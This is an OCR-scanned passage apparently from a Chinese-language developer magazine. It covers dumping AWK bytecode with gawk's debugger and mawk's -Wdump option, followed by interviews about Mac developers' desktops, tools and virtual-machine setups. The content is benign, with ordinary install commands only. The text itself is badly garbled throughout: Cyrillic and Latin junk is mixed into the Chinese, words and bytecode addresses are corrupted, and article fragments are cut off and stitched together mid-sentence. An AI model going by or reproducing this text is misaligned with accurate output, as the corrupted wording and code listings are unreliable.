之 后 在 调试 融 中 执行 dump 命令 ， 即 可 将 字 节 


FA . 


| имичи m” x A M— —⁄— I Le 


高 手 教 你 用 sed/Awk idu 
深入 AWK 编 程 Pona 


码 导 出 (图 9 )。 另 外 ，gawk 使 用 调试 需 模 式 时 
是 没有 办 法 指定 单行 脚本 为 对 象 的 ， 因 为 我 们 
必须 要 使 用 -f 参 数 指定 脚本 文件 。 所 以 ， 单 行 
脚本 的 字 市 码 是 没有 办 法 导出 的 。 

其 次 是 mawk， 在 指定 了 -Wdump 选项 之 
后 , 程序 并 不 会 执行 ,而 是 只 会 导出 字 节 码 (图 
10 )。mawk 不 仅 可 以 导出 脚本 文件 ， 也 可 以 导 
出 单行 脚本 。 

本 次 的 导出 示例 中 所 使 用 的 代码 '1' 以 
及 'fprintY'， 它 们 都 和 cat 命 令 有 着 一 样 的 行为 ， 
执行 之 后 的 结果 也 是 完全 一 样 的 。 但 是 不 论 是 
gawk 还 是 mawk， 两 者 从 代码 '1' 中 进行 导出 的 
步骤 数 都 比 另 外 一 条 代码 多 。 这 是 因为 ， 对 于 
代码 '1' 来 说 ， 有 着 添加 '{print}' 这 么 一 项 隐 式 
的 动作 ,所 以 总 共 的 代码 是 '1 {print}', rif (print]" 
则 没有 特别 的 模式 规则 , 所 以 它 还 是 '{fprint}j O. 
在 优化 以 及 调试 AWK 程 序 时 ， 参 考 导 出 的 字 
车 码 应 该 也 是 一 个 不 错 的 选择 外 。 

可 是 ， 对 比 mawk 和 gawk ЗЕ y Bi] uk n] 
以 发 现 ， 人 简单 、 快 速 的 mawk 和 多 功能 的 gawk 
有 种 截然 不 同 的 感觉 。 


(9 可 能 有 的 朋友 觉得 在 这 里 有 合适 的 情况 是 将 1 去 除 。 但 
实际 上 ， 绝 大 多 数 AWK 的 处 理 方式 都 不 是 最 优 的 。 除 了 
单纯 的 开发 人 力 不 足 以 外 ,说 不 定 还 有 别 的 原因 。 考 上 处 
到 AWK 的 实际 使 用 情况 ， 在 命令 行 中 几乎 都 是 一 瞬间 内 
执行 完成 的 。 即 使 使 用 了 最 佳 化 的 处 理 方式 ， 能 不 能 进 
一 步 减少 执行 时 间 也 是 一 个 未 知 数 。 而 且 本 来 对 于 有 着 
精简 语言 标准 的 AWK 来 说 ， 考 虑 到 速度 以 及 稳定 性 ， 复 
杂 的 最 佳 化 可 能 也 不 是 必要 的 。 

W 像 本 次 例子 这 样 的 情况 ， 即 使 字 节 码 的 步骤 数 较 多 一 些 ， 
通常 情况 下 我 们 也 应 该 使 用 '1'"。 相 对 于 计算 机 来 说 ， 人 
类 的 速度 要 慢 得 多 , 减少 输入 的 内 容 ， 能 够 帮助 我 们 尽 
时 完成 相应 的 处 理 。 


a 


从 现在 开始 sed/AWK 再 入 门 


1 UNIX 工 程 师 的 喜好 
特辑 


w 9 从 gawk 中 导出 字 节 码 
$ cat 1.awk 二 显示 1.awk 中 的 内 容 
1 


以 调试 模式 启动 gawk 
ТТЕ Т EFH dump 命 令 显 示 字 节 码 


:0x2005fb44] Op _newfile : Ltarget_jmp = 0х2003+13с1 Ltarget_endfile = 
0x2005f150] 

Ltarget get record = 0x2005f178] 
:0x2003f164] Op no op : 
:0x200512681 Op after beginfile 
:0x2003f178] Ор _ get record : Ltarget_newfile = 0x2005fb44] 


# Rule 


:0x2005fc4c] Op rule : Lin rule = Rule] Lsource file = 1.auk] 
:0x2005f1a0] Op push. 1 : 1 EPERM|NUMCUR | NUMBER] 
:0x2005f1dcl Op jmp false : Ltarget_jmp = 0x2003f1c8] 
:0x2003f11f0] Op K print rec : [redir type = ""] 
:0Ox2005f1c8] Op no op : 

:0x2005f254] Op jmp : [target jmp = 0x2003f1781] 
:0х2003+1501 Op no op : 

:0x2003f240] Op _after_endfile 

:0x2003fl13c]1 Op no op 

:0x2003f18c] Ор atexit 

:0x2003f204] Op stop : 

dgawk? а 二 使 用 а 命令 退出 gawk 的 调试 模式 

$ cat print.awk < 一 显示 print.awk 中 的 内 容 

(print) 

Та M eT ST] di 一 以 调试 模式 启动 gawk 

ТТДС FA dump ERF HA 


гт гт гт гт гт гт гт гт гт гт гт 


:0х2003+6441 Op пем+1 (е : [target jmp = 0х2003+13с1 Ltarget_endfile = 
0х2003+#1501 


[target get record = 0x2005f1781] 


:0x20051164] Op no op 
:0x200512401]1 Op after beginfile 
:0x2003f178] Ор _ get гесога : Ltarget_newfile = 0x2005fb44] 


# Rule 


:0x2003fc&cl1 Op rule : Lin rule = Rule] Lsource file = print.awk] 
:0x2005f1a01 Op К print rec : [Lredir type = ""] 
:0Ox2005f1c8] Op no op - 
:0х2003+#22с] Op jmp : [target jmp = 0x2003f1781] 
:0x2005f150:] Op no op Е 
:0x2005f12181 Op after endfile 
:0x2005f115c1 Op no op 
:0x2003f18c] Ор atexit 
:0х2003+1асЈ Op stop : 
< а 命令 退出 gawk 的 调试 模式 


Өз Q. r1 r1 四 r3 r3 r3 r3 m 四 


У 10 从 mawk 中 导出 字 节 码 


$ mawk -wdump '1' 和 二 使 用 -wdump 选 项 显示 字 节 码 
MAIN 

000 omain 

001 pushd 

003 jz 

005 pushint 

007 print 

009 oL gl 

$ mawk -Wdump '(print)' 二 用 -Wdump 选 项 显示 字 节 三 
MAIN 

000 omain 

001 pushint 

005 print 

005 ol gl 

$ 
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ЕТНА 
软件 工程 师 的 不 二 


观摩 个 性 十 足 的 桌面 
妨 不 住 想 要 效仿 ， 绞 尽 脑 汁 只 为 所 高 效率 


我 们 采访 mE 并 观摩 了 他 们 的 开 友 环境 ( 果 面 )。 让 我 们 一 边 
信 听 这 些 专业 人 士 的 经 验 ， 一边 满怀 对 新 OS 的 期 竺 准备 升级 吧 ! 


Mac 派 开 友 工 程 师 们 的 果 面 大 揭秘 ! 76 
Өл МасВоок = IRIT? - (ШЕ # T ) = a aaa жыш ыыы. нео а 76 
О sj UE FH RE ИДЕ CA Py s ае 78 
ЎА УЕ ЕЕ АУЕ е) саана UU + 80 
© ы da 西村 笃 e MN as ш... L E oo E а 82 
Ө (FH мас Web MAHARA ER (SEJRŠt a a a Ned 84 
@ ET = см 欠 世 代 开 发 风格 Es EBEN Е ент 86 
O JRR VEL, Android/iOS 3327] 03: (;L)I|Ë8)........... 2... К 88 
Ө EA ims ESSERE ( 森 折 也 ) .0.0000 90 
© 定制 Mac 打 造 最 强 的 Terminal、Vim 和 Xcode 组 合 ( 所 友 太 )............ l... a aa... 92 


综合 使 用 Mac OS X 和 iPhone， 提 高 工作 效率 (和 田 裕 介 ) 


不 光 在 私人 事务 上 ， 在 工作 上 iPhone 也 是 一 个 非常 高 效 的 工具 。 现 在 我 把 工作 邮 
箱 也 关联 到 了 Gmail， 这 样 就 能 通过 iPhone 上 的 Gmail 应 用 来 查看 工作 邮件 了 。 而 且 我 
还 开启 了 邮件 的 来 件 通知 功能 ， 所 以 每 当 有 新 邮件 到 来 的 时 候 ， iPhone 都 会 友 出 “ 嘟 嘟 
的 震动 声 ( 笑 )， 昌 然 有 些 吵 ， 但 可 以 提醒 我 及 时 处 理 同 事 们 的 信件 ， 这 一 点 还 是 很 有 
魅力 的 。 我 用 滑动 输入 法 (flick input ) 已 经 很 长 时 间 了 ， 书 写 很 长 的 邮件 也 不 会 感到 


有 什么 压力 。 及 时 回复 邮件 能 够 提高 团队 的 整体 意识 ， 所 以 从 这 吕 来 说， 通过 iPhone 
回复 邮件 对 工作 还 是 非 划 有 帮助 的 。 

此 外 ， 作 为 被 用 来 和 开发 人 员 交 流 的 IRC 工 具 之 一 ，iO5 版 的 LimeChat 制 作 非常 精 
民 ， 笔 记 应 用 Day One 也 能 和 OSX 版 的 同步 ， 也 是 我 的 必 备 软件 之 一 。 


提醒 我 最 近 开 始 使 用 的 CI 服务 Travis СІ 
友 来 了 新 的 邮件 


rz 3*5] rpm A "ч . | mms mH? A dT Le 


e 


СЕ 


AEN 
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| ZABLE. FARME T RORI AH, 基本 上 工作 需 


游牧 民族 


由 于 笔者 为 独立 开发 者 的 
原因 ， 所 以 很 少 有 机 会 去 国外 旅 
游 。 理 由 有 很 多 ， 比 如 担心 旅行 


; 


€ 438 MacBook 


”去 旅行 ? 


译 / 刘 斌 


要 的 东西 都 备 齐 7i 


个 人 信息 


( WADA Yusuke ) 
@yusukebe 
Wadit 股 份 有 限 公司 总 经 理 

( http://wadit.jp/ ) 


1981 = Н +, Web v FH 7F Zz T 
程 师 。 创 新 青年 ， 准 超级 创造 者 
( Unexplored Youth-Assistant 
Super Creator )。 ТЕ omoroki 
股份 有 限 公 司 ( http;//omoroki. 
com/ ) 担 任 CTO， 进 行 Web 应 
用 程序 的 开发 。 代 表 作 品 有 “你 
的 收音 机 "。 此 外 还 参与 了 知 
名 图 片 搞笑 网 站 bokete ( http:// 
bokete.jp/ ) 的 开发 。 


路 由 来 进行 工作 了 。 特 别 是 如 
果 你 有 一 台 MacBook 电 脑 ， 为 


其 装 上 Mac OS X， 再 配置 一 个 


Co — 你 就 完全 可 
i i т е BIBIT. 
ee ж 旧金山 的 


中 服务 器 宕 机 了 不 能 及 时 处 理会 
造成 严重 后 果 等 ， 然 而 最 主要 的 
原因 还 是 没有 合适 的 机 会 。 但 是 
最 近 连 续 出 差 去 了 中国 台湾 4 天 ， 
美国 9 天 ， 也 开始 体会 到 在 世界 
各 地 飞 来 飞 去 的 乐趣 了 。 

在 国外 出 差 时 令 我 感到 惊 
奇 的 是 (虽然 话说 回来 也 是 理 
所 当然 的 )， 我 在 成 田 或 者 羽田 
机 场 租 借 一 个 移动 Wifi Pf H л 
然后 在 目的 地 就 可 以 使 用 无 线 


某 条 大 街 上 ， 看 到 一 个 氛围 不 
错 的 咖啡 店 ， 你 就 可 以 进去 一 
ЕЭЗ, — 5 LE. 
另外 ,只 要 用 你 的 iPhone 通过 
Wifi 路 由 连 上 网 络 ， 即 使 在 人 
生地 不 鸣 悉 的 地 方 ， 也 能 通过 
s 站 用 避免 迷路 了 o 

近 有 一 个 新 名 词 叫 “ 游 
MSS "( Nomad Working ), 4 
目 己 也 经 党 在 咖啡 店 里 进行 开 
发 。 这 个 名 词 一 般 给 人 的 印象 


是 “在 附近 上 自己 喜欢 的 咖啡 馆 


баш КЕЕ с сузу с 
种 工作 风格 。 而 如 果 有 机 会 去 
国外 工作 二 那么 是 不 是 可 以 叫 
JE "Ed bx СЕ” f We? 被 
誉 为 超 媒体 创作 者 (Hypermedia 
Creator ) 的 高 城 刚 先生 一 下 在 
世界 各 地 旅行 ,虽然 我 不 知 
道 他 具体 在 下 些 秆 么 , 但 是 看 


= 二 他 -过 得 很 充实 -很 快乐 o 
而 我 们 这 些 开 发 工程 师 拿 着 
MacBook 在 世界 各 地 一 边 旅游 
一 边 进 行 开发 也 不 赖 嘛 。 


笔者 的 开 上 友 环 境 


直到 一 个 月 之 前 我 使 用 的 


х 13 X5] y MacBook Pro, iX 
Je TERIS- (Н ul 
ВЕ: Н J dX TI ЕЖЕН) 7J ^ 
比较 大 所 以 ЖИ TY. 
拿 去 苹果 售后 ,说 修理 的 话 要 
= НВУ ТАЈ] E j BE 
对 Retina B£ 的 MacBook Pro 13 
情 有 独 钟 ， 所 以 就 趁 着 这 次 老 
ЛОЖИ, ЕК TME 
HJ 3X тї Retina 5f: АЈ MacBook. 
HE d LX f Ho Р Г BU Ha, 
脑 写 这 篇 文章 的 。Retina 显示 
顺 上 字体 看 起 来 都 很 漂亮 ， 我 
目 己 也 感到 非常 的 满意 。 

我 开发 时 使 用 的 软件 主要 
是 用 于 进行 Web 应 用 测试 、 调 
试 的 各 种 浏览 硕 ， 终 端 软 件 的 
话 使 用 的 是 Mac OS X B +f 0 
Terminalapp (终端 .app),。 虽然 
iTerm2 也 很 有 名 ， 不 过 我 也 没 
有 特别 需要 使 用 它 的 地 方 ， 所 
以 就 直接 使 用 OS X H уН) Z< 
Ут JW HI Г 238 48 BJ Uh H T 


在 上 大 学 的 时 候 茶 些许 程 强制 


a Кер nm us 


METE 
CALTE 


Mac 的 桌面 。 基 本 什么 都 没有 放 。 一 般 我 都 是 使 用 13 
x] Retina B£ MacBook Pro 来 工作 的 。 以 前 我 部 得 如 果 
显示 器 不 够 大 就 不 太 舒 服 ， 所 以 曾经 使 用 过 27 英 寸 和 
19 英 十 的 显示 器 组 合 ， 但 是 后 来 友 现 如 果 习 惯 了 的 话 ， 
13 英寸 屏 幕 的 电脑 已 经 能 够 完全 应 付 我 所 做 的 工作 了 


使 用 emacs， 所 以 现在 我 还 保 
持 着 原来 的 习惯 , 仍然 使 用 
emacs。 我 的 编码 工作 都 是 通 
过 在 Terminal 里 输 A emacs 命 
[if 

系统 的 包 管 理工 具 我 使 
用 的 是 Homebrew， 用 它 来 安 
装 各 种 软件 和 库 。 在 安装 好 
Homebrew 之 后 ， 通 过 如 下 命令 


$ brew install mysql 


就 可 以 完成 MySQL 源 代码 的 
а. e ТЕ, ЗЕ 
方便 。 BARR EZ H Perl X% I 
A Web y НР 5, (Н т Реп 1 


НЛА 388 Jr Iñi d HH ñ 2 
Perlbrew, Perl REH HREH 
了 App::cpanminus， 各 项 目的 
库 管理 使 用 了 Carton。 前 些 天 
最 新 的 Perl1 5 fa ХЕ ЛА 5.18.0 发 
布 了 ,使 用 Perlbrew у, Н 
需 像 下 面 这 样 输入 


$ perlbrew install perl-5.18.0 


х — 


/一 
IK 
„ —— Р 


就 可 以 在 自己 的 用 户主 目录 下 
进行 最 新 代码 的 编译 ， 并 将 默 
认 版 本 切换 到 最 新 版 本 上 。 如 
ЯК ДЫ UE Реп АЈ 25 ^E DX d 
( Class Builder )Mouse， 可 以 使 用 


App::cpanminus 的 cpanm 命令 。 


Carton 的 API 还 不 太 稳 定 ， 所 
以 这 里 我 们 就 不 做 详细 的 说 明 
了 。Carton 有 点 类 似 Ruby 里 的 
Bundler， 它 将 项 目 中 需要 的 各 
Ph CPAN 库 等 保存 到 文件 ,在 
Фито, ЭЕ тс 
的 库 束 会 被 下 载 并 安装 到 当前 
项 目的 文件 夹 下 ， 当 启动 项 目 
应 用 的 时 候 ， 只 需 使 用 系统 里 
的 模块 (Core Module ) 和 项 目 
独 目 需要 的 模块 就 可 以 了 。 此 
JM. ^E xh BE Е ЛЕ Л Д B — 
Si TERI, WH 2 Zk je [ 
Carton， 还 可 以 方便 地 创建 库 
版 本 完全 一 致 的 开发 环境 。 


在 终端 里 运行 emacs 时 的 屏幕 。 这 里 使 用 了 Mac OS X 
标准 的 Terminal.app， 通 过 tmux 创 建 了 多 个 面板 ， 并 在 
各 面板 之 间 进 行 了 切换 。screen 也 是 类 似 的 软件 ， 使 
用 该 软件 可 以 创建 出 类 似 于 浏览 器 中 的 “tab” 这 样 的 
дЕн Es a Judi 


© =á 


MacBook 去 旅行 ? 


"A 


Mac, 软件 工程 的 不 之 表 °? | 
IN 7j © | — 


a 
CS Т7 2 


T 


看 看 Mac 开 发 首 
— 
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给 你 们 看 看 我 的 桌面 | 
的 桌面 会 被 文档 和 开发 环境 相关 的 东西 堆 得 满 满 的 。 
桌面 环境 ， 我 可 以 添加 若干 个 工作 空间 ， 使 用 起 来 很 高 效 


在 外 面 和 家 里 都 使 用 
进行 开发 


我 是 以 购买 iPhone 手机 为 
HHL, М Windows 转 变 到 
Мас mF sj == y: 
就 被 它 的 操作 性 和 设计 所 打动 
成 
ОШ ы ZETA SH UR. 
也 感到 非常 舒服 。 由 于 我 当时 
正在 考虑 购买 一 台 人 台式 机 ,所 
VA m 3. f iMac, 使 用 Mac 的 
JX nt, tE 13 iPhone ARE, j EE. 
==. 

ТЕЗ Ег Не 
的 使 用 环境 。 我 在 购买 了 iMac 


Maci 


(D http://www.goodsync.com/ 


环境 


P / XIX 


Ө 同步 控 和 他 的 虚拟 机 


个 人 信息 


(OHNO Wataru ) Starlight & Storm 成 员 、 
日 本 Spring 用 户 协 会 工作 人 员 

14 年 

3 年 

使 用 机 型 27 5 + іМас( Мі02010 ), 11% 3} 
MacBook Air 11( Mid 2011 ) 


主要 进行 面向 对 象 的 设计 、 实 现 相 关 的 
咨询 活动 。 著 有 《Spring 3 入 门 》( 合 著 )。 
作为 Mac RHPiikE EXE, МЕНЕ 


妻子 也 能 开始 使 用 Mac 机 器 ， 
为 结婚 5 周年 纪念 的 冲绳 旅行 。 


但 是 Mac 目 帝 了 虚拟 


之 后 ， 又 购买 了 MacBook Air, 
所 以 现在 不 管 是 在 家 里 ， 还 是 
在 外 面 , 我 都 在 使 用 Mac £ 
统 。 但 是 有 了 两 合 Mac 之 后 ， 
就 出 现 了 在 两 侣 机 需 之 间 同 步 
数据 的 问题 。 作 为 有 力 的 解决 
TR, MAREA ARSENE 
用 云 存 储 服 务 。 虽 说 当时 已 经 
^4 f Dropbox. SugarSync 等 各 
种 云 存储 服务 ， 但 是 笔者 的 同 
步 大 都 是 在 局 域 网 之 中 进行 
的 ， 如 采 使 用 基于 Internet 的 网 
络 存 储 服务 的 话 ， 效 率 势必 会 
很 低 ， 所 以 我 并 没有 选择 这 种 
案 。 在 对 能 满足 上 自己 要 求 的 
AK TFETT 


ун с m 


以 及 实现 作 


终 我 选择 了 GoodSync 岂 这 个 应 
用 ， 直 到 现在 我 还 在 用 着 它 。 
GoodSync 需 要 为 每 台 安 装 它 
的 机 需 购 买 一 个 许可 证 ， 我 在 
iMac 上 Z X Gen uc Jf 
在 外 出 前 和 回 家 后 进行 文件 的 
[D (58 

МТА — 1927 EJ B FT 
候 ， 我 会 为 这 个 项 目 创建 一 个 
新 的 文件 夹 然后 将 整个 文件 
夹 设置 为 两 台 机 各 之 间 的 同步 
对 象 。 当 项 目 结束 的 时 候 ， 我 
会 在 MacBook Air 上 把 这 个 文 
件 夹 删除 ,这 样 就 可 以 市 约 
MacBook Air 的 空间 了 。 

yj EL ЕК 3e HER T X. 


f£ Mac ;2 [8]145 [5)2>. 


修改 的 部 分 


能 非常 强大 的 工具 
аЬ, МЕКУ, EXT 


发 环境 的 配置 文件 等 各 种 各 
样 的 东西 ,所 以 我 把 iMac 和 
MacBook Air 整 体 的 文件 夹 结 
М) 1 ED m Е, PURA 
管 在 家 里 还 是 在 外 面 就 都 可 以 
H b bp A YRBRHETTJT 
TUER 

23 УР Dú BJ Ze +ë th, fi Н 
Mac HAA А 7217 LE Time 
Machine, 定期 (帮手 是 每 天 ) 
iMac 的 数据 备份 到 移动 便 盘 

o 这样 外 出 的 时 候 只 要 随身 
即便 是 还 
从 iMac 同步 过 来 的 文件 ， 也 
以 在 MacBook Air 上 使 用 。 


安 委 软件 开发 环 卉 


和 虚拟 机 


下 面 再 介绍 下 我 的 运行 环 
境 。 如 果 是 编码 完成 后 的 简单 
确认 、 单 元 测试 的 话 ， 只 使 用 
Eclipse 和 Tomcat 束 足够 了 ,但 
有 时 候 也 需要 使 用 和 生产 环境 


H F GoodSync R 
， 所 以 同步 的 效率 很 高 。 
Mac 的 文件 共享 协议 AFP， 以 及 5MB 和 和 FTP 协议 等 ， 
甚至 也 支持 和 云 存 储 服 务 进行 同步 ， 可 以 说 是 一 蒜 功 


同步 文件 被 
而 且 它 还 支持 


ing 


很 接近 的 环境 ， 比 如 必须 在 
Linux 上 进行 测试 , 或 者 使 用 
Web JZ 5-88 / w FAM Эйе / 22315 
JÉ JR 3 жох FE E E SE E HS] — 
层 染 构 进行 测试 ， 以 及 验证 集 
群 配置 情况 等 。 就 现在 的 主流 
做 法 来 说 ， 这 应 该 是 云 计 算 服 
务 大 显 身手 的 时 候 了 。 但 是 云 
服务 都 是 基于 互联 网 环境 的 服 
务 ， 和 在 线 云 存储 服务 一 样 ， 
效率 不 高 ， 这 也 是 我 不 想 采 用 
云 服 务 的 主要 原因 。 除 此 之 外 ， 
在 使 用 Iaas 的 时 候 还 必须 特别 
注意 网 络 安全 问题 ， 另 外 还 需 
要 耗费 一 定 的 Ж, 所 以 
ШЖ H AR A ETT fe] ЯШЕЛ ч 
测试 的 话 ， 我 感觉 使 用 云 计 算 
服务 有 点 大 材 小 用 。 

所 以 我 在 Mac 上 构建 了 
虚拟 的 开发 环境 。 虚 拟 机 软 
件 我 使 用 的 是 VMware Fusion 
Professlonal = 

在 我 刚 买 iMac 的 时 候 ， 正 
好 最 新 版 的 Parallels Desktop ® 


本 地 预先 创建 供 Web 服 务 器 、 
Eel: S REDI aM J ы Ыы S, TE 
要 创建 新 的 虚拟 机 的 时 候 ， 只 需 拷 由 


同时 启动 多 个 虚拟 机 。 作 为 基本 的 开 友 环境 ， 我 会 在 


应 用 服务 器 、 数 据 库 


—15 ERE fe FH 


dB Er, ШН ЕЖ E fifi JE 
搞 特 价 活动 , 所 以 我 就 严 了 

Д ЕЕЕ sp awani 
目 需 要 用 到 VMware 环境， 而 


VMware Fusion 如 果 是 个 人 使 
用 的 话 ， 一 个 许可 证 可 以 用 在 


ZR Mac HLE, MARD 
X f VMware Fusion 这 个 软件 。 

实际 创建 虚拟 机 环境 的 时 
ЛЕ UBI, EUH TT ZA s 
绊 绊 的 事情 发 生 。 当 一 个 项 目 
需要 使 用 虚拟 机 的 时 候 ， 就 拿 
一 个 做 好 的 虚拟 机 镜像 模板 找 
贝 过 来 ， 并 在 局 动 后 进行 项 目 
特有 的 配置 工作 就 可 以 了 。 而 
且 虚 拟 机 都 是 以 镜像 文件 方式 
保存 的 , 如 有 果 想 在 MacBook 
Air 上 运行 同一 个 虚拟 机 的 话 ， 
只 需要 通过 GoodSync 将 文件 
同步 到 MacBook Air, 就 可 以 
在 MacBook Air 上 使 用 这 个 虚 
拟 机 环境 了 。 


2 由 于 所 有 的 配置 也 是 共享 的 ， 所 以 在 MacBook Air 里 打开 Eclipse 的 时 候 ， 有 时 可 能 会 因为 使 用 了 iMac 下 面 的 设置 而 使 窗口 


的 尺 才 变 得 很 大 ， 吓 人 一 跳 。 所 以 需要 根据 情况 灵活 同步 。 
(3) http://www.vmware.com/products/desktop virtualization/fusion/professional.html 


(2) http://www.parallels.com/products/desktop/ 


一 一 
S u =... sa 


Го 


mes 
À 
T. 
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Ж а Мас HRE 
的 果 面 是 怎样 的 
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KZA, RÆ STELLATO 
的 法 人 代表 横山 彰 子 ， 目 前 正 
在 和 一 个 熟识 的 游戏 公司 一 起 
做 社交 游戏 的 开发 和 运营 。 

我 在 2007 年 秋天 购买 了 
黑色 的 MacBook， 取代 了 之 前 
使 用 的 Windows 笔 记 本 。 我 深 
深 地 被 MacBook 那 漂亮 的 字体 
所 打动 ， 从 那 之 后 就 一 下 使 用 
Mac 做 开发 。 

不 过 总 体 来 说 我 在 Mac 上 
安装 的 软件 或 开发 用 的 插件 应 
该 算 比 较 少 的 。Mac 的 应 用 也 


= 


E / XIX 


笔者 的 工作 环境 。 以 13 英 十 MacBook Air 为 主 , 配 有 处 置 显示 器 , 实现 了 汉 显 示 器 配置 。 
图 中 正在 进行 的 是 在 一 个 终端 窗口 里 使 用 tmux 将 画面 分 割 为 多 个 面板 的 工作 


4f, 105 的 应 用 也 罢 ， 虽 然 有 
了 好 玩 的 新 应 用 时 我 都 会 第 一 
时 间 去 答 试 一 让 ， 但 如 果 不 用 
了 ， 我 会 立刻 鳃 载 这 个 软件 。 


我 使 用 的 是 Terminal.app， 


并 且 还 尽量 把 字体 弄 得 特别 
小 。 这 也 许 是 受到 了 国外 极 客 
们 的 有 影响。 此 外 ， 我 还 安装 了 
非常 适合 编程 用 的 字体 Ricty， 
这 个 字体 之 前 曾 在 网 上 火 了 一 
段 时 间 , 可 以 很 方便 地 通过 
Homebrew 来 安装 。 

虚拟 终端 管理 大 我 曾经 使 


2 ‚ <= 
1 cms =N = л "E -t —— I| — 1ч 


ыз; 
ANTI 


简约 而 不 简单 的 定制 


=. 


уты 


个 人 信息 


横山 朝子 ( YOKOYAMA Akiko ) 


@acotie 
STELLATO inc. 法 人 代表 


Mac 使 用 经 验 3 
8 年 


工作 经 历 比较 丰富 ， 做 过 Web 
服务 器 端的 程序 员 、Web 应 用 
工程 师 、 系 统 架 构 师 、 智 能 手 
机 游戏 开发 及 社交 游戏 开发 等 。 


用 过 GNU Screen, 但 是 现在 
已 经 转 回 使 用 tmux 了 。 人 快速 
№ 5) 2% Launcher Лу H1) 2 2 
使 用 过 Quick Silver， 现 在 使 用 
的 则 是 Alfred。 包 管理 工具 也 
从 Macports 转 到 了 Homebrew。 
选择 这 些 工 具 都 是 出 于 目 己 的 
S, ийле [А] Ж, АН ЖОЙ, 
算是 最 好 的 工具 ， 这 中 间 也 有 
= ТИЛ E. 


虚拟 环境 


工作 上 我 使 用 VMware 
Fusions。 比 如 搭建 Windows 7 
虚拟 机 进行 开发 、 测 试 ， 通 过 


В Æ CentOS 虚拟 机 来 搭建 本 
地 UNIX 环境 等 。 

此 n УУ ТЕН 
用 到 了 MAMP。 在 /Applications/ 
MAMP/ 下 面 ， 可 以 简单 地 搭建 
Mac + Apache + PHP + MySQL 
的 开发 环境 。 并 且 因 为 能 够 定 
期 取得 快照 备份 ， 所 以 可 以 在 

` 5 Ill MacBook Z £f ñ fi Zú 

PBBu Н. ER АУА 
拟 机 环境 ， 我 还 购买 了 EC2 等 
VPS 服 务 ， 这 样 在 外 出 办 公 的 
时 候 就 可 以 通过 SSH 登录 这 些 
JR os d 


文本 处 理 


文本 编辑 硕 我 用 过 很 多 种 ， 
最 初 使 用 的 是 Vim， 后 来 又 用 
了 MacVim , MacVim-Kaoriya. 
Sublime Text2, Coda2 等 。 现 
ТЕ Xcode 的 项 目 都 使 用 Xcode， 
Xcode 以 外 的 情况 则 多 使 用 
Ут, 

Vim #1 Sublime Text2 的 优 
Ki AE Hess, H 
要 使 用 同一 份 配置 文件 ， 就 可 
以 在 任何 一 侣 机 着 上 部 受 同 样 
的 环境 。 在 安装 新 的 服务 需 或 
者 个 人 电脑 的 时 候 ， 可 以 直接 
找 贝 被 称 为 dotfiles 的 另 一 个 配 
置 文件 ， 这 样 新 机 需 的 环境 配 
置 就 会 和 原来 的 机 硕 一 模 一 样 
To 此 外 二 我 还 创建 了 很 多 配 
置 文件 的 模板 ,把 它们 存放 在 
Dropbox 或 BitBucket、GitHub 
等 地 方 ， 这 样 就 可 以 随时 随地 
使 用 这 些 配 置 文件 进而 定制 目 
已 的 开发 环境 了 。 


wayta "dE s 


— — n a 


= 
MEME UA Tm i 8 


TN ГЕС | 全 简约 而 不 简单 的 定制 


— r —w 


其 他 定制 


我 也 在 使 用 binaryage 公司 开 

с; TotalSpaces, TotalTerminal 

这 两 个 很 方便 的 工具 。 通 过 这 

两 个 工具 可 以 对 桌面 空间 进行 

详细 的 定制 ,也 可 以 通过 给 

Terminal 设置 快捷 键 ， 实 现 上 
下 滚动 式 的 动画 效果 。 

由 于 我 使 用 的 是 US 布局 

的 键盘 ,所 以 在 非常 有 多 的 


KeyRemap4Macbook 应 用 P, 
YE FX 1 Ze A A A Command 键 
设置 为 片 假 名 /字母 数字 转换 ， 
并 启用 了 VI Mode, 
操作 。 


使 得 可 以 
行 全 部 的 滚屏 


—— -—— ÉBE 


ТЕ JF Æ iOS J XK BJ EST к, 
有 很 多 对 图 片 进行 纹理 处 理 的 
工作 ， 这 时 候 我 使 用 的 是 包装 
工具 ( Packaging Tools ) Texture 
Packer, 3X L.R.dE 7; f, 
iz о j 
放 到 一 个 文件 里 ， 还 能 选择 减 
色 处 理 或 者 压缩 格式 等 ， 最 后 
输出 为 供 framework 使 用 的 纹 
理 ( Texture ) 文件 。 

我 偶尔 也 会 使 用 Isolator 
| r s = 
中 精力 ,或 者 在 Steam 应 用 里 
购买 游戏 玩 玩 。 虽 说 里 面 也 有 
iOS/Android 的 游戏 ， 但 是 我 却 
W TripleTown.. Little Inferno, 
以 及 Team Fortress 23X FE АЧ 3D 
的 FPS 游戏 。 


笔者 竖 面 的 截屏 。 基 本 上 没 在 梨 面 上 摆 放 多 余 的 文件 


这 是 在 Steam.app 里 面 购买 的 Triple Town 的 截屏 。 
里 面 购买 Indie Game: The Movie 这 部 纪录 片 ， 非 党 推荐 这 个 
软件 


还 能 在 这 
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Po 
“看 看 Mac 开 发 者 
的 果 面 是 怎样 的 


"Mac, We TES? | 
A === | — 


网 络 工程 师 也 是 
Mac 派 


ú — ; | 
; 译 /刘斌 


个 人 信息 


西村 笃 ( NISHIMURA Atsushi ) 
IDC Frontier Inc. 股份 有 限 公司 

4 年 
iMac, MacBook Air 


在 2011 年 进入 现在 的 公司 之 前 ， 
在 上 上 一 家 公司 里 做 过 系统 软件 编 
程 。 现 在 的 工作 主要 是 骨干 网 的 设 
计 、 建 设 和 维护 。 


pe = = чы 


яая 


笔者 的 桌面 周边 。 典 型 的 网 络 工程 师 配置 ，USB- 串口 转换 线 常年 必 备 


3k ~F MacBook Air( Mid2012), 必 不 可 少 的 装备 , 那么 可 以 


携 市 方便 ， 
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У ртр 


有 很 多 人 认为 使 用 Mac T 
作 的 都 是 设计 师 ， 其 实 并 不 是 
这 样 。 如 有 果 你 去 参加 网 络 工程 
师 的 聚会 ， 就 会 发 现 越 来 越 多 
的 人 都 开始 使 用 Mac( 特 别 是 
MacBook Air ) 了 。 我 想 这 是 不 
是 因为 网 络 工程 师 和 业内 同行 
HJ ac TL EGER, Il Mac ХХ 
i, BENE, MATERE 
2 TUR Br Px 

Нож 5—8 21.5 
英寸 jMac( Late 2009, Eg Е 
78500), 工作 上 使 用 的 是 11 


我 使 用 iMac 最 大 的 原因 就 是 它 
的 设计 非常 好 。 即 使 放 到 客厅 ， 
也 不 会 和 室内 家 具 、 装 饰 等 不 
协调 ， 反 而 融合 得 非常 好 。 操 
作 体 验 也 很 顺畅 ，OS X BJA 
速度 本 来 就 要 比 Windows 快 ， 
虽然 我 的 ijMac 型 号 比较 老 ,但 
是 由 于 我 已 经 把 HDD 换 成 了 
